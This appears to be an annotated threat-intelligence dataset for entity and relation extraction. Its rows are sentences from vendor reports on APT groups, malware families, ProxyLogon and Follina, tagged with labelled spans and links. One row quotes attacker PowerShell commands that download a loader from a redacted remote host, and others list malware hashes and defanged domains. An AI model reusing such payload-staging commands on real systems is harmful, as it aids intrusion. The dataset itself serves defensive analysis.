id
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14.4k
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| entities
list | relations
list | Comments
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|---|---|---|---|---|
3,911 | Based on our investigation, the Chopper web shell is dropped via a system token, potentially via a Microsoft Exchange Server vulnerability. | [
{
"id": 49762,
"label": "vulnerability",
"start_offset": 99,
"end_offset": 138
},
{
"id": 49763,
"label": "malware",
"start_offset": 32,
"end_offset": 49
}
] | [
{
"id": 865,
"from_id": 49763,
"to_id": 49762,
"type": "exploits"
}
] | [] |
3,912 | One notable vulnerability in the Microsoft Exchange Server is CVE-2020-0688, a remote code execution bug. | [
{
"id": 49764,
"label": "SOFTWARE",
"start_offset": 33,
"end_offset": 58
},
{
"id": 49765,
"label": "vulnerability",
"start_offset": 62,
"end_offset": 75
},
{
"id": 49766,
"label": "attack-pattern",
"start_offset": 79,
"end_offset": 100
}
] | [
{
"id": 866,
"from_id": 49764,
"to_id": 49765,
"type": "has"
},
{
"id": 867,
"from_id": 49765,
"to_id": 49766,
"type": "uses"
}
] | [] |
3,971 | As observed on CVE-2020-0688, the use of static keys — as opposed to randomly generated keys — can allow an attacker to execute arbitrary code by tricking the server into deserializing ViewState data. | [
{
"id": 49830,
"label": "vulnerability",
"start_offset": 16,
"end_offset": 29
},
{
"id": 49831,
"label": "attack-pattern",
"start_offset": 121,
"end_offset": 143
}
] | [
{
"id": 868,
"from_id": 49830,
"to_id": 49831,
"type": "uses"
}
] | [] |
3,977 | Indicators of compromise Filename Path SHA-256 Detection Notes ss.exe C:\temp\ ee63b49aca1495a170ea7273316385b606f3fd2df1e48e9f4de0f241d98bd055 HackTool.Win32.CATLIKE.A Vulnerability Scanner LG.exe C:\temp\ C:\hp\ 5099264b16208d88c9bca960751f5e3de7a5420986fa0d7e2b2a6b16af3909e9 HackTool.Win32.JoeWare.A. JoeWare Local Group Manipulation tool LG.dat C:\hp\ 5099264b16208d88c9bca960751f5e3de7a5420986fa0d7e2b2a6b16af3909e9 HackTool.Win32.JoeWare.A. JoeWare Local Group Manipulation tool mpBD6D42.dat C:\Users C:\Perflogs C:\hp C:\temp e9be71848d1faa0c41db4c6a1e901747d98fb0b3cca027f8be85ea5e339b75e3 HackTool.MSIL.Mimikatz.AF Mimikatz Tags Endpoints | APT & Targeted Attacks | Research | Network | Articles, News, Reports | [
{
"id": 12061,
"label": "SHA2",
"start_offset": 227,
"end_offset": 291
},
{
"id": 12063,
"label": "SHA2",
"start_offset": 375,
"end_offset": 439
},
{
"id": 12060,
"label": "SHA2",
"start_offset": 87,
"end_offset": 151
},
{
"id": 12066,
"label": "tools",
"start_offset": 650,
"end_offset": 658
},
{
"id": 12065,
"label": "SHA2",
"start_offset": 557,
"end_offset": 621
},
{
"id": 49840,
"label": "FILEPATH",
"start_offset": 202,
"end_offset": 208
},
{
"id": 49845,
"label": "malware",
"start_offset": 623,
"end_offset": 648
},
{
"id": 49847,
"label": "FILEPATH",
"start_offset": 367,
"end_offset": 373
},
{
"id": 49848,
"label": "FILEPATH",
"start_offset": 507,
"end_offset": 519
},
{
"id": 49849,
"label": "FILEPATH",
"start_offset": 521,
"end_offset": 541
},
{
"id": 49850,
"label": "FILEPATH",
"start_offset": 542,
"end_offset": 555
},
{
"id": 49837,
"label": "FILEPATH",
"start_offset": 69,
"end_offset": 75
},
{
"id": 49842,
"label": "FILEPATH",
"start_offset": 219,
"end_offset": 225
},
{
"id": 49838,
"label": "FILEPATH",
"start_offset": 77,
"end_offset": 85
},
{
"id": 49839,
"label": "malware",
"start_offset": 153,
"end_offset": 177
},
{
"id": 49841,
"label": "FILEPATH",
"start_offset": 210,
"end_offset": 218
},
{
"id": 49843,
"label": "malware",
"start_offset": 293,
"end_offset": 317
},
{
"id": 49844,
"label": "malware",
"start_offset": 441,
"end_offset": 465
},
{
"id": 49846,
"label": "FILEPATH",
"start_offset": 359,
"end_offset": 365
}
] | [
{
"id": 869,
"from_id": 12060,
"to_id": 49839,
"type": "indicates"
},
{
"id": 870,
"from_id": 49838,
"to_id": 49839,
"type": "indicates"
},
{
"id": 871,
"from_id": 49837,
"to_id": 49839,
"type": "indicates"
},
{
"id": 872,
"from_id": 12061,
"to_id": 49843,
"type": "indicates"
},
{
"id": 873,
"from_id": 49842,
"to_id": 49843,
"type": "indicates"
},
{
"id": 874,
"from_id": 49841,
"to_id": 49843,
"type": "indicates"
},
{
"id": 875,
"from_id": 49840,
"to_id": 49843,
"type": "indicates"
},
{
"id": 876,
"from_id": 49846,
"to_id": 49844,
"type": "indicates"
},
{
"id": 877,
"from_id": 49847,
"to_id": 49844,
"type": "indicates"
},
{
"id": 878,
"from_id": 12063,
"to_id": 49844,
"type": "indicates"
},
{
"id": 879,
"from_id": 49848,
"to_id": 49845,
"type": "indicates"
},
{
"id": 880,
"from_id": 49849,
"to_id": 49845,
"type": "indicates"
},
{
"id": 881,
"from_id": 49850,
"to_id": 49845,
"type": "indicates"
},
{
"id": 882,
"from_id": 12065,
"to_id": 49845,
"type": "indicates"
}
] | [] |
4,015 | Earth Centaur, previously known as Tropic Trooper, is a long-running cyberespionage threat group that has been active since 2011. | [
{
"id": 49866,
"label": "TIME",
"start_offset": 118,
"end_offset": 128
},
{
"id": 49865,
"label": "threat-actor",
"start_offset": 35,
"end_offset": 49
},
{
"id": 49864,
"label": "threat-actor",
"start_offset": 0,
"end_offset": 13
}
] | [
{
"id": 883,
"from_id": 49864,
"to_id": 49865,
"type": "duplicate-of"
}
] | [] |
4,030 | We found that the threat actors used vulnerable Internet Information Services (IIS) server and Exchange server vulnerabilities as entry points, and then installed web shells. | [
{
"id": 49871,
"label": "vulnerability",
"start_offset": 96,
"end_offset": 127
},
{
"id": 49872,
"label": "vulnerability",
"start_offset": 38,
"end_offset": 91
},
{
"id": 49873,
"label": "attack-pattern",
"start_offset": 164,
"end_offset": 174
}
] | [
{
"id": 884,
"from_id": 49872,
"to_id": 49873,
"type": "uses"
},
{
"id": 885,
"from_id": 49871,
"to_id": 49873,
"type": "uses"
}
] | [] |
4,031 | Afterward, the .NET loader (detected as Nerapack) and the first stage backdoor (Quasar remote administration tool aka Quasar RAT) were deployed on the compromised machine. | [
{
"id": 49875,
"label": "malware",
"start_offset": 80,
"end_offset": 113
},
{
"id": 49874,
"label": "malware",
"start_offset": 40,
"end_offset": 48
},
{
"id": 49876,
"label": "malware",
"start_offset": 118,
"end_offset": 128
}
] | [
{
"id": 887,
"from_id": 49875,
"to_id": 49876,
"type": "duplicate-of"
},
{
"id": 888,
"from_id": 49874,
"to_id": 49876,
"type": "delivers"
}
] | [] |
4,037 | After the threat actors get access to the vulnerable hosts by using ProxyLogon exploits and web shells, they use bitsadmin to download the next-stage loader (loaders are detected as Nerapack) as well as its payload file (.bin). C:\Windows\system32\windowspowershell\v1.0\powershell.exe -Command "&{Import-Module BitsTransfer; Start-BitsTransfer 'http://<redacted>:8000/dfmanager.exe' "%temp%/dfmanager.exe"}" C:\Windows\system32\windowspowershell\v1.0\powershell.exe -Command "&{Import-Module BitsTransfer; Start-BitsTransfer 'http://<redacted>:8000/dfmanager.bin' "C:\Users\<redacted>\AppData\Local\Temp/dfmanager.bin"}" | [
{
"id": 49882,
"label": "attack-pattern",
"start_offset": 92,
"end_offset": 102
},
{
"id": 49888,
"label": "FILEPATH",
"start_offset": 385,
"end_offset": 405
},
{
"id": 49891,
"label": "URL",
"start_offset": 566,
"end_offset": 618
},
{
"id": 49889,
"label": "FILEPATH",
"start_offset": 409,
"end_offset": 466
},
{
"id": 49883,
"label": "tools",
"start_offset": 113,
"end_offset": 122
},
{
"id": 49884,
"label": "malware",
"start_offset": 182,
"end_offset": 190
},
{
"id": 49885,
"label": "threat-actor",
"start_offset": 10,
"end_offset": 23
},
{
"id": 49886,
"label": "FILEPATH",
"start_offset": 228,
"end_offset": 285
},
{
"id": 49887,
"label": "URL",
"start_offset": 346,
"end_offset": 382
},
{
"id": 49881,
"label": "vulnerability",
"start_offset": 68,
"end_offset": 87
},
{
"id": 49890,
"label": "URL",
"start_offset": 527,
"end_offset": 563
}
] | [
{
"id": 889,
"from_id": 49885,
"to_id": 49881,
"type": "exploits"
},
{
"id": 890,
"from_id": 49885,
"to_id": 49882,
"type": "uses"
},
{
"id": 891,
"from_id": 49885,
"to_id": 49883,
"type": "uses"
},
{
"id": 892,
"from_id": 49883,
"to_id": 49884,
"type": "downloads"
}
] | [] |
4,082 | During our investigation into Earth Centaurs activities, we found that it also uses another backdoor called Lilith RAT. | [
{
"id": 49916,
"label": "threat-actor",
"start_offset": 30,
"end_offset": 44
},
{
"id": 49917,
"label": "malware",
"start_offset": 108,
"end_offset": 118
}
] | [
{
"id": 893,
"from_id": 49916,
"to_id": 49917,
"type": "uses"
}
] | [] |
4,165 | Based on these special mutex strings, we believe the threat actors come from a Chinese-speaking region. | [
{
"id": 49970,
"label": "threat-actor",
"start_offset": 53,
"end_offset": 66
},
{
"id": 49971,
"label": "location",
"start_offset": 79,
"end_offset": 102
}
] | [
{
"id": 894,
"from_id": 49970,
"to_id": 49971,
"type": "located-at"
}
] | [] |
4,167 | After analyzing the ChiserClient, we found that it shares a similar style of network configuration to the TClient mentioned in our previous research on Earth Centaur. | [
{
"id": 12514,
"label": "malware",
"start_offset": 20,
"end_offset": 32
},
{
"id": 12515,
"label": "malware",
"start_offset": 106,
"end_offset": 113
},
{
"id": 49972,
"label": "threat-actor",
"start_offset": 152,
"end_offset": 166
}
] | [
{
"id": 895,
"from_id": 12515,
"to_id": 49972,
"type": "authored-by"
},
{
"id": 896,
"from_id": 12514,
"to_id": 49972,
"type": "authored-by"
}
] | [] |
4,171 | After checking the backdoor SmileSvr, we found that there was a code similarity between it and Troj_YAHAMAM, which was used by Earth Centaur in an earlier operation. | [
{
"id": 49973,
"label": "malware",
"start_offset": 95,
"end_offset": 107
},
{
"id": 49974,
"label": "threat-actor",
"start_offset": 127,
"end_offset": 140
}
] | [
{
"id": 897,
"from_id": 49974,
"to_id": 49973,
"type": "uses"
}
] | [] |
4,204 | Back in February, we noted the similarities between the Patchwork and Confucius groups and found that, in addition to the similarities in their malware code, both groups primarily went after targets in South Asia. | [
{
"id": 50016,
"label": "threat-actor",
"start_offset": 70,
"end_offset": 79
},
{
"id": 50014,
"label": "TIME",
"start_offset": 8,
"end_offset": 16
},
{
"id": 50015,
"label": "threat-actor",
"start_offset": 56,
"end_offset": 65
},
{
"id": 50017,
"label": "location",
"start_offset": 202,
"end_offset": 212
}
] | [
{
"id": 898,
"from_id": 50015,
"to_id": 50016,
"type": "related-to"
},
{
"id": 899,
"from_id": 50015,
"to_id": 50017,
"type": "targets"
},
{
"id": 900,
"from_id": 50016,
"to_id": 50017,
"type": "targets"
},
{
"id": 901,
"from_id": 50016,
"to_id": 50015,
"type": "related-to"
}
] | [] |
4,205 | During the months that followed in which we tracked Confucius’ activities, we found that they were still aiming for Pakistani targets. | [
{
"id": 50019,
"label": "location",
"start_offset": 116,
"end_offset": 125
},
{
"id": 50018,
"label": "threat-actor",
"start_offset": 52,
"end_offset": 61
}
] | [
{
"id": 902,
"from_id": 50018,
"to_id": 50019,
"type": "targets"
}
] | [] |
4,242 | We already mentioned that Confucius had possible links to other groups in our previous blog post, which mentioned code sharing between Patchwork and Confucius. | [
{
"id": 50045,
"label": "threat-actor",
"start_offset": 26,
"end_offset": 35
},
{
"id": 50046,
"label": "threat-actor",
"start_offset": 135,
"end_offset": 144
},
{
"id": 50047,
"label": "threat-actor",
"start_offset": 149,
"end_offset": 158
}
] | [
{
"id": 903,
"from_id": 50046,
"to_id": 50047,
"type": "related-to"
}
] | [] |
4,244 | We found more code shared among the two threat actor’s malware, as Patchwork recently used multiple Delphi malware similar to some of the Delphi malware we described before. | [
{
"id": 50049,
"label": "malware",
"start_offset": 138,
"end_offset": 152
},
{
"id": 50050,
"label": "malware",
"start_offset": 100,
"end_offset": 114
},
{
"id": 50048,
"label": "threat-actor",
"start_offset": 67,
"end_offset": 76
}
] | [
{
"id": 904,
"from_id": 50048,
"to_id": 50050,
"type": "uses"
},
{
"id": 905,
"from_id": 50049,
"to_id": 50050,
"type": "duplicate-of"
}
] | [] |
4,249 | Figure 6: Decompiled Form structure of Confucius’ sample (d971842441c83c1bba05742d124620f5741bb5d5da9ffb31f06efa4bbdcf04ee, Detected as TSPY_CONFSTEAL.A) Figure 7: | [
{
"id": 50051,
"label": "SHA2",
"start_offset": 58,
"end_offset": 122
},
{
"id": 50052,
"label": "malware",
"start_offset": 136,
"end_offset": 152
}
] | [
{
"id": 906,
"from_id": 50051,
"to_id": 50052,
"type": "indicates"
}
] | [] |
4,250 | Decompiled Form structure of Patchwork’s sample (795ae4097aa3bd5932be4110f6bd992f46d605d4c9e3afced314454d35395a59, Detected as TROJ_DELF.XXWZ) | [
{
"id": 12743,
"label": "threat-actor",
"start_offset": 29,
"end_offset": 38
},
{
"id": 12745,
"label": "SHA2",
"start_offset": 49,
"end_offset": 113
},
{
"id": 50053,
"label": "malware",
"start_offset": 127,
"end_offset": 141
}
] | [
{
"id": 907,
"from_id": 12745,
"to_id": 50053,
"type": "indicates"
},
{
"id": 908,
"from_id": 12743,
"to_id": 50053,
"type": "uses"
}
] | [] |
4,264 | Interestingly, one of those keys, “xldbszcd”, was found in a file stealer used by Confucius (472ea4929c5e0fb4e29597311ed90a14c57bc67fbf26f81a3aac042aa3dccb55, Detected as TSPY_CONFSTEAL.A) as well as in two other file stealers. | [
{
"id": 50061,
"label": "SHA2",
"start_offset": 93,
"end_offset": 157
},
{
"id": 50062,
"label": "malware",
"start_offset": 171,
"end_offset": 187
},
{
"id": 50060,
"label": "threat-actor",
"start_offset": 82,
"end_offset": 91
}
] | [
{
"id": 909,
"from_id": 50061,
"to_id": 50062,
"type": "indicates"
},
{
"id": 910,
"from_id": 50060,
"to_id": 50062,
"type": "uses"
}
] | [] |
4,265 | One file stealer (cca74bb322ad7833a21209b1418c9837e30983daec30d199a839f46075ee72f2, Detected as TSPY_DELF.SUW) published by security researchers in 2013 and linked to the domain myflatnet[.]com, was attributed by several parties to the Hangover group. | [
{
"id": 50067,
"label": "threat-actor",
"start_offset": 236,
"end_offset": 250
},
{
"id": 50063,
"label": "SHA2",
"start_offset": 18,
"end_offset": 82
},
{
"id": 50064,
"label": "malware",
"start_offset": 96,
"end_offset": 109
},
{
"id": 50065,
"label": "TIME",
"start_offset": 148,
"end_offset": 152
},
{
"id": 50066,
"label": "DOMAIN",
"start_offset": 178,
"end_offset": 193
}
] | [
{
"id": 911,
"from_id": 50063,
"to_id": 50064,
"type": "indicates"
},
{
"id": 912,
"from_id": 50064,
"to_id": 50066,
"type": "communicates-with"
},
{
"id": 913,
"from_id": 50064,
"to_id": 50067,
"type": "attributed-to"
}
] | [] |
4,266 | The other file stealer (1f0dabd61947b6df8a392b77a0eae33777be3caad13698aecc223b54ab4b859a, Detected as TROJ_DELF.XXWZ) is related to a domain reported in September 2016. | [
{
"id": 50069,
"label": "malware",
"start_offset": 102,
"end_offset": 116
},
{
"id": 50070,
"label": "TIME",
"start_offset": 153,
"end_offset": 167
},
{
"id": 50068,
"label": "SHA2",
"start_offset": 24,
"end_offset": 88
}
] | [
{
"id": 914,
"from_id": 50068,
"to_id": 50069,
"type": "indicates"
}
] | [] |
4,277 | The dropped payloads are modified versions of the Remote Administration Tool QuasarRAT that can be traced to the domains sastind-cn[.]org and tautiaos[.]com. | [
{
"id": 50080,
"label": "DOMAIN",
"start_offset": 142,
"end_offset": 156
},
{
"id": 50078,
"label": "malware",
"start_offset": 77,
"end_offset": 86
},
{
"id": 50079,
"label": "DOMAIN",
"start_offset": 121,
"end_offset": 137
}
] | [
{
"id": 915,
"from_id": 50078,
"to_id": 50079,
"type": "communicates-with"
},
{
"id": 916,
"from_id": 50078,
"to_id": 50080,
"type": "communicates-with"
}
] | [] |
4,286 | The group still uses the Badnews malware, a backdoor with information-stealing and file-executing capabilities, albeit updated with a slight modification in the encryption routine at the end of 2017, when they added Blowfish encryption on top of their custom encryption described in our former Patchwork blogpost. | [
{
"id": 50084,
"label": "malware",
"start_offset": 25,
"end_offset": 40
},
{
"id": 50085,
"label": "attack-pattern",
"start_offset": 58,
"end_offset": 78
},
{
"id": 50086,
"label": "attack-pattern",
"start_offset": 83,
"end_offset": 97
},
{
"id": 50087,
"label": "TIME",
"start_offset": 187,
"end_offset": 198
},
{
"id": 50088,
"label": "threat-actor",
"start_offset": 294,
"end_offset": 303
}
] | [
{
"id": 917,
"from_id": 50084,
"to_id": 50085,
"type": "uses"
},
{
"id": 918,
"from_id": 50084,
"to_id": 50086,
"type": "uses"
}
] | [] |
4,356 | It should be noted that in some occasions, the threat actor sent spear-phishing emails from the domain name mailerservice[.]directory which we attributed to the Patchwork threat actor in previous research. | [
{
"id": 50138,
"label": "attack-pattern",
"start_offset": 65,
"end_offset": 79
},
{
"id": 50139,
"label": "DOMAIN",
"start_offset": 108,
"end_offset": 133
},
{
"id": 50140,
"label": "threat-actor",
"start_offset": 161,
"end_offset": 170
}
] | [
{
"id": 919,
"from_id": 50139,
"to_id": 50140,
"type": "attributed-to"
}
] | [] |
4,367 | Trend Micro™ Deep Discovery™ Email Inspector – Defends users through a combination of real-time scanning and advanced analysis techniques for known and unknown attacks. Indicators of Compromise Hashes of the malicious encrypted documents: SHA256 Detection name dacf7868a71440a7d7d8797caca1aa29b7780801e6f3b3bc33123f16989354b2 Trojan.W97M.CONFUCIUS.A 0f6bcbdf4d192f8273887f9858819dd4690397a92fb28a60bb731c873c438e07 Trojan.W97M.CONFUCIUS.B | [
{
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{
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{
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] | [
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},
{
"id": 921,
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"type": "indicates"
}
] | [] |
4,369 | Trojan.W97M.CONFUCIUS.B 654c7021a4482da21e149ded58643b279ffbce66badf1a0a7fc3551acd607312 Trojan.W97M.CONFUCIUS.C 712172b5b1895bbfcced961a83baa448e26e93e301be407e6b9dc8cb6526277f Trojan.Win32.DLOADR.TIOIBELQ | [
{
"id": 13099,
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},
{
"id": 13100,
"label": "SHA2",
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{
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{
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] | [
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},
{
"id": 923,
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"type": "indicates"
}
] | [] |
4,373 | As part of TAG's mission to counter serious threats to Google and our users, we've analyzed a range of persistent threats including APT35 and Charming Kitten, an Iranian government-backed group that regularly targets high risk users. | [
{
"id": 50174,
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{
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] | [
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},
{
"id": 925,
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"to_id": 50177,
"type": "duplicate-of"
}
] | [] |
4,376 | In December 2021, TAG discovered a novel Charming Kitten tool, named HYPERSCRAPE, used to steal user data from Gmail, Yahoo!, and Microsoft Outlook accounts. | [
{
"id": 13122,
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{
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{
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] | [
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{
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{
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{
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"type": "targets"
},
{
"id": 930,
"from_id": 50184,
"to_id": 50187,
"type": "targets"
}
] | [] |
4,383 | Like much of their tooling, HYPERSCRAPE is not notable for its technical sophistication, but rather its effectiveness in accomplishing Charming Kitten’s objectives. | [
{
"id": 50196,
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},
{
"id": 50197,
"label": "threat-actor",
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"end_offset": 150
}
] | [
{
"id": 931,
"from_id": 50197,
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"type": "uses"
}
] | [] |
4,450 | Our Threat Analysis Group, or TAG, is dedicated to protecting users from threats posed by state-sponsored malware attacks and other advanced persistent threats. | [
{
"id": 50226,
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},
{
"id": 50227,
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}
] | [
{
"id": 932,
"from_id": 50227,
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"type": "duplicate-of"
}
] | [] |
4,459 | In 2017, Android – which is owned by Google – was the first mobile platform to warn users about NSO Group’s Pegasus spyware. | [
{
"id": 50241,
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"end_offset": 115
},
{
"id": 50237,
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{
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}
] | [
{
"id": 933,
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"type": "authored-by"
}
] | [] |
4,460 | At the time, our Android team released research about a newly discovered family of spyware related to Pegasus that was used in a targeted attack on a small number of Android devices. | [
{
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{
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] | [
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] | [] |
4,471 | For example, TAG discovered campaigns targeting Armenian users which utilized zero-day vulnerabilities in Chrome and Internet Explorer. | [
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"id": 50266,
"label": "campaign",
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"end_offset": 37
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{
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{
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}
] | [
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},
{
"id": 938,
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"to_id": 50263,
"type": "has"
}
] | [] |
4,473 | Reporting by CitizenLab linked this activity to Candiru, an Israeli spyware vendor. | [
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},
{
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},
{
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}
] | [
{
"id": 939,
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"type": "located-at"
}
] | [] |
4,475 | Most recently, we reported in May on five zero-day vulnerabilities affecting Chrome and Android which were used to compromise Android users. | [
{
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"end_offset": 133
},
{
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{
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}
] | [
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},
{
"id": 941,
"from_id": 50273,
"to_id": 50271,
"type": "has"
}
] | [] |
4,497 | The actors behind this campaign, which we attributed to a government-backed entity based in North Korea, have employed a number of means to target researchers. | [
{
"id": 50299,
"label": "campaign",
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"end_offset": 31
},
{
"id": 50300,
"label": "location",
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"end_offset": 103
}
] | [
{
"id": 942,
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"type": "attributed-to"
}
] | [] |
4,547 | Many Russian government cyber assets have remained focused on Ukraine and related issues since the invasion began, while Russian APT activity outside of Ukraine largely remains the same. | [
{
"id": 50344,
"label": "location",
"start_offset": 153,
"end_offset": 160
},
{
"id": 50342,
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},
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},
{
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}
] | [
{
"id": 943,
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"type": "targets"
}
] | [] |
4,549 | Similarly, Russian observed disinformation efforts are also focused on the war in Ukraine and TAG has disrupted coordinated influence operations from several actors including the Internet Research Agency and a Russian consulting firm as detailed in the TAG Bulletin. | [
{
"id": 50351,
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},
{
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},
{
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}
] | [
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},
{
"id": 945,
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"type": "targets"
}
] | [] |
4,551 | Here is a deeper look at some campaign activity TAG has observed since our last update: Turla, a group publicly attributed to Russia’s Federal Security Service (FSB), recently hosted Android apps on a domain spoofing the Ukrainian Azov Regiment. | [
{
"id": 50355,
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},
{
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{
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{
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},
{
"id": 50360,
"label": "identity",
"start_offset": 221,
"end_offset": 244
}
] | [
{
"id": 946,
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{
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"type": "located-at"
},
{
"id": 948,
"from_id": 50357,
"to_id": 50360,
"type": "impersonates"
}
] | [] |
4,552 | This is the first known instance of Turla distributing Android-related malware. | [
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"start_offset": 36,
"end_offset": 41
},
{
"id": 50362,
"label": "SOFTWARE",
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"end_offset": 62
}
] | [
{
"id": 949,
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}
] | [] |
4,558 | During our investigation into the Turla CyberAzov apps, we identified another Android app first seen in the wild in March 2022 that also claimed to conduct DoS attacks against Russian websites. | [
{
"id": 50370,
"label": "TIME",
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"end_offset": 126
},
{
"id": 50368,
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},
{
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{
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}
] | [
{
"id": 950,
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"type": "targets"
}
] | [] |
4,562 | Based on our analysis, we believe that the StopWar app was developed by pro-Ukrainian developers and was the inspiration for what Turla actors based their fake CyberAzov DoS app off of. | [
{
"id": 50379,
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},
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},
{
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}
] | [
{
"id": 951,
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"type": "authored-by"
}
] | [] |
4,564 | Follina is a remote code execution (RCE) vulnerability in the Microsoft Windows Support Diagnostic Tool (MSDT). | [
{
"id": 50386,
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"end_offset": 54
},
{
"id": 50387,
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}
] | [
{
"id": 952,
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"to_id": 50386,
"type": "has"
}
] | [] |
4,565 | Consistent with CERT-UA reporting, TAG observed multiple Russian GRU actors - APT28 and Sandworm - conduct campaigns exploiting the Follina vulnerability. | [
{
"id": 50390,
"label": "identity",
"start_offset": 35,
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},
{
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{
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},
{
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"label": "threat-actor",
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}
] | [
{
"id": 956,
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},
{
"id": 955,
"from_id": 50392,
"to_id": 50391,
"type": "attributed-to"
}
] | [] |
4,566 | The Sandworm campaign used compromised government accounts to send links to Microsoft Office documents hosted on compromised domains, primarily targeting media organizations in Ukraine. | [
{
"id": 50395,
"label": "campaign",
"start_offset": 4,
"end_offset": 21
},
{
"id": 50396,
"label": "attack-pattern",
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},
{
"id": 50397,
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},
{
"id": 50398,
"label": "location",
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}
] | [
{
"id": 957,
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},
{
"id": 958,
"from_id": 50395,
"to_id": 50397,
"type": "targets"
}
] | [] |
4,568 | One recent campaign from a group tracked by CERT-UA as UAC-0098 delivered malicious documents with the Follina exploit in password-protected archives, impersonating the State Tax Service of Ukraine. | [
{
"id": 50401,
"label": "identity",
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},
{
"id": 50402,
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},
{
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},
{
"id": 50404,
"label": "identity",
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}
] | [
{
"id": 959,
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"type": "impersonates"
},
{
"id": 960,
"from_id": 50402,
"to_id": 50403,
"type": "uses"
}
] | [] |
4,569 | We assess this actor is a former initial ransomware access broker who previously worked with the Conti ransomware group distributing the IcedID banking trojan based on overlaps in infrastructure, tools used in previous campaigns, and a unique cryptor. | [
{
"id": 50405,
"label": "threat-actor",
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"end_offset": 102
},
{
"id": 50406,
"label": "malware",
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"end_offset": 158
}
] | [
{
"id": 961,
"from_id": 50405,
"to_id": 50406,
"type": "uses"
}
] | [] |
4,570 | Ghostwriter/UNC1151, a threat actor attributed to Belarus, has remained active targeting accounts of webmail and social media networks of Polish users. | [
{
"id": 50408,
"label": "threat-actor",
"start_offset": 12,
"end_offset": 19
},
{
"id": 50407,
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},
{
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},
{
"id": 50410,
"label": "location",
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}
] | [
{
"id": 962,
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},
{
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},
{
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},
{
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"type": "targets"
},
{
"id": 966,
"from_id": 50407,
"to_id": 50410,
"type": "targets"
}
] | [] |
4,573 | COLDRIVER, a Russian-based threat actor sometimes referred to as Callisto, continues to send credential phishing emails to targets including government and defense officials, politicians, NGOs and think tanks, and journalists. | [
{
"id": 50416,
"label": "threat-actor",
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},
{
"id": 50415,
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},
{
"id": 50417,
"label": "attack-pattern",
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}
] | [
{
"id": 967,
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"type": "duplicate-of"
},
{
"id": 968,
"from_id": 50415,
"to_id": 50417,
"type": "uses"
}
] | [] |
4,577 | Recently observed COLDRIVER indicators: In another campaign tracked by CERT-UA as UAC-0056 we observed compromised email addresses of a Regional Prosecutor’s office of Ukraine leveraged to send malicious Microsoft Excel documents with VBA macros delivering Cobalt Strike. | [
{
"id": 50428,
"label": "tools",
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},
{
"id": 50424,
"label": "identity",
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},
{
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},
{
"id": 50427,
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},
{
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},
{
"id": 50426,
"label": "identity",
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"end_offset": 175
}
] | [
{
"id": 969,
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"type": "duplicate-of"
},
{
"id": 970,
"from_id": 50423,
"to_id": 50426,
"type": "impersonates"
}
] | [] |
4,585 | In March 2021, Microsoft kicked off the patch cycle early after releasing an advisory regarding the mass exploitation of four zero-days vulnerabilities by a Chinese Hacking group, HAFNIUM, on the on-premises versions of the Microsoft Exchange Server. | [
{
"id": 50436,
"label": "TIME",
"start_offset": 3,
"end_offset": 13
},
{
"id": 50437,
"label": "identity",
"start_offset": 15,
"end_offset": 24
},
{
"id": 50438,
"label": "vulnerability",
"start_offset": 126,
"end_offset": 151
},
{
"id": 50439,
"label": "threat-actor",
"start_offset": 180,
"end_offset": 187
},
{
"id": 50440,
"label": "location",
"start_offset": 157,
"end_offset": 164
},
{
"id": 50441,
"label": "SOFTWARE",
"start_offset": 196,
"end_offset": 249
}
] | [
{
"id": 971,
"from_id": 50439,
"to_id": 50440,
"type": "located-at"
},
{
"id": 972,
"from_id": 50439,
"to_id": 50438,
"type": "exploits"
},
{
"id": 973,
"from_id": 50441,
"to_id": 50438,
"type": "has"
}
] | [] |
4,587 | The vulnerability has been dubbed as ProxyLogon by the researchers at DEVCORE, who are credited with finding the bugs in the proxy architecture and the logon mechanism of Exchange. | [
{
"id": 50446,
"label": "SOFTWARE",
"start_offset": 172,
"end_offset": 180
},
{
"id": 50444,
"label": "vulnerability",
"start_offset": 38,
"end_offset": 48
},
{
"id": 50445,
"label": "identity",
"start_offset": 71,
"end_offset": 78
}
] | [
{
"id": 974,
"from_id": 50446,
"to_id": 50444,
"type": "has"
}
] | [] |
4,591 | According to Shodan, on March 4, there were more than 266,000 Exchange Servers vulnerable to the ProxyLogon vulnerability, a day after the patch was released. | [
{
"id": 50465,
"label": "TIME",
"start_offset": 24,
"end_offset": 31
},
{
"id": 50464,
"label": "identity",
"start_offset": 13,
"end_offset": 19
},
{
"id": 50466,
"label": "SOFTWARE",
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"end_offset": 78
},
{
"id": 50467,
"label": "vulnerability",
"start_offset": 97,
"end_offset": 121
}
] | [
{
"id": 976,
"from_id": 50466,
"to_id": 50467,
"type": "has"
}
] | [] |
4,596 | CVE-2021-26855: Microsoft Exchange Server Remote Code Execution Vulnerability (pre-authenticated Server-Side Request Forgery [SSRF]) CVE-2021-27065: Microsoft Exchange Server Remote Code Execution Vulnerability (post-authenticated Arbitrary File Write) Fig - MS Exchange Client Access Protocol Architecture The Client Access services (Outlook Web App portal) proxies the incoming connections to the Backend services. | [
{
"id": 50475,
"label": "vulnerability",
"start_offset": 3,
"end_offset": 17
},
{
"id": 50478,
"label": "vulnerability",
"start_offset": 152,
"end_offset": 213
},
{
"id": 50476,
"label": "vulnerability",
"start_offset": 19,
"end_offset": 80
},
{
"id": 50477,
"label": "vulnerability",
"start_offset": 136,
"end_offset": 150
}
] | [
{
"id": 977,
"from_id": 50476,
"to_id": 50475,
"type": "duplicate-of"
},
{
"id": 978,
"from_id": 50478,
"to_id": 50477,
"type": "duplicate-of"
}
] | [] |
4,603 | Workload Security uses advanced security controls such as intrusion prevention system (IPS), deep packet inspection (DPI), and integrity monitoring to protect Exchange Servers from attackers that could exploit ProxyLogon. | [
{
"id": 50494,
"label": "SOFTWARE",
"start_offset": 159,
"end_offset": 175
},
{
"id": 50493,
"label": "vulnerability",
"start_offset": 210,
"end_offset": 220
}
] | [
{
"id": 979,
"from_id": 50494,
"to_id": 50493,
"type": "has"
}
] | [] |
4,626 | As part of TAG's mission to counter serious threats to Google and our users, we've analyzed a range of persistent threats including APT35 and Charming Kitten, an Iranian government-backed group that regularly targets high risk users. | [
{
"id": 50537,
"label": "identity",
"start_offset": 55,
"end_offset": 61
},
{
"id": 50538,
"label": "threat-actor",
"start_offset": 132,
"end_offset": 137
},
{
"id": 50539,
"label": "threat-actor",
"start_offset": 142,
"end_offset": 157
},
{
"id": 50540,
"label": "location",
"start_offset": 162,
"end_offset": 169
},
{
"id": 50536,
"label": "identity",
"start_offset": 11,
"end_offset": 14
}
] | [
{
"id": 980,
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"type": "located-at"
},
{
"id": 981,
"from_id": 50539,
"to_id": 50540,
"type": "located-at"
}
] | [] |
